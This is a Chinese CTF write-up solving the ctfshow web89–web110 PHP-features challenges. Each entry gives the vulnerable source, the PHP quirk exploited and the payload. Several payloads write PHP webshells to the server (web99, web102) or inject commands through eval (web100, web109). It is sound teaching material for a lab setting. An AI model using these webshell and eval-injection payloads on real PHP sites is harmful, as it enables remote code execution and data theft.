ctfshow-web入门-php特性(上)

/ 0评 / 0

web89(数组绕过正则表达)

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
PHP intval() 函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
语法
int intval ( mixed $var [, int $base = 10 ] )

返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。

payload:?num[]=1

web90(intval函数的使用)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
这里用到了 intval()的特性
可以用十六进制
payload:?num=0x117C

web91(正则表达式修饰符)

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
/i  表示匹配的时候不区分大小写
/m  表示多行匹配,匹配换行符两端的潜在匹配。影响正则中的 ^$ 符号
在第一处 preg_match() 中我们可以看到有一个 /m ,我们可以在这里进行换行绕过
因此这里payload:?cmd=%0aphp

web92(intval函数的使用)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

同 web90

web93(intval函数的使用)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
这里用不了 16进制 的 0x
可以尝试用 8进制 的payload:?num=010574
同样是对intval()函数的特性考察

web94(intval函数的使用)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
PHP strpos() 函数
查找 "php" 在字符串中第一次出现的位置:

语法
strpos(string,find,start)

返回值
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。
因此strpos()函数这里我们可以用 换行%0a 进行绕过
①payload:?num=%0a010574
也可以尝试用 空格%20 进行绕过
②payload:?num=%20010574
intval()函数只尝试读取整数部分,可以使用浮点数绕过
③payload:?num=4476.0

web95(intval函数的使用)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
不能再用上面的浮点数绕过,但①②还可以用
因此strpos()函数这里我们可以用 换行%0a 进行绕过
①payload:?num=%0a010574
也可以尝试用 空格%20 进行绕过
②payload:?num=%20010574

web96(路径问题)

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}
highlight_file() 函数
对文件进行语法高亮显示

语法
highlight_file(filename,return)

返回值
如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false
这里对 highlight_file 函数进行漏洞利用
payload:?u=./flag.php

web97(php中hash比较缺陷)

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5碰撞,尝试 数组绕过
paylaod:
POST:a[]=1&b[]=2

web98(三目运算符的理解+变量覆盖)

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
$_GET?$_GET=&$_POST:'flag';   如果存在GET请求,则将POST请求覆盖掉GET请求
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag: __FILE __);   GET传参HTTP_FLAG的值为flag,则读取flag
payload:?flag=1
POST:HTTP_FLAG=flag

web99(php弱类型比较)

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>
$allwo = array(1,'2','3');
var_dump(in_array('1.php',$allow));
#结果为 true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
#结果为 false

in_array 延用了php中的==
payload:?n=10.php
POST:content=<?php system('cat *');?>

web100(and与&&的区别+反射类ReflectionClass的使用)

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>
and与&&的区别
<?php
$a = true and false and false;
var_dump($a);
#结果为 true

$a = true && false && false;
var_dump($a);
#结果为 false
反射类ReflectionClass的使用

<?php
class A{
public static $flag="flag{xxx}";
const PI = 3.14;
static function hello(){
     echo "hello</br>";
}
}
$a = new ReflectionClass('A');

var_dump($a -> getConstants());#获取一组常量
#输出
 array(1){
 ["PI"]=>
  float(3.14)
 }


var_dump($a->getName());#获取类名
#输出
 string(1)"A"


var_dump($a->getStaticProperties());#获取静态属性
#输出
 array(1){
 ["flag"]=>
 string(9) "flag{xxx}"
 }


var_dump($a->getMethods());#获取类中的方法
#输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}
payload:
?v1=1&&v2=echo new ReflectionClass&v3=;

非预期①
paylaod:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
#直接输出$ctfshow;构造出 var_dump($ctfshow);

非预期②
payload:?v1=1&v2=?><?php echo `ls`?>/*&v3=;*/

web101(and与&&的区别+反射类ReflectionClass的使用)

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>
paylaod同上

web102(hex2bin函数)

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>
is_numeric 在php5的环境中,是可以识别十六进制的
例如:var_dump(is_numeric("0x66"));  #php5的环境下返回true  php7返回false
所以当我们在 php5环境中
可以将一句话木马编译成16进制传入
如:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php  #<?php eval($_POST[1]);?>
POST:v1=hex2bin
在 php7 环境中
可以尝试找到一个 纯数字的 base64类型shell,再通过base64解密
payload:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php  #<?=`cat *`;
POST:v1=hex2bin

web103(hex2bin函数)

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

payload同上

web104(hash缺失比较)

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>
①数组绕过
v2[]=0
POST:v1[]=0

②hash值相同
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web105(php变量覆盖)

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
只要我们令三个变量 $error $suces 任意一个值为 flag ,就能通过 die 或者 echo 输出
①通过error 输出
payload:
a=flag
POST:error=a
②通过suces输出
payload:
suces=flag&flag=

web106(hash缺失比较)

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?>

payload同104

web107(parse_str函数)

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>
parse_str() 函数把查询字符串解析到变量中。

语法
parse_str(string,array)
注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
patlaod:
v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108(ereg %00切断)

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){    //strrev()字符串反转
    echo $flag;
}

?>
payload:c=a%00778
887 为 0x36d 的十进制数

web109(php 异常类)

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>
v1和v2至少要匹配到一个字母,且v1和v2 new后面有一个类不报错
任意找一个php的内置类使得其不报错
payload: v1=ReflectionClass&v2=system('tac f*')

web10(FilesystemIterator 类使用)

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

FILESYSTEMITERATOR的使用

getcwd()函数 获取当前工作目录
语法
getcwd();
payload:v1=FilesystemIterator&v2=getcwd

 

发表评论

邮箱地址不会被公开。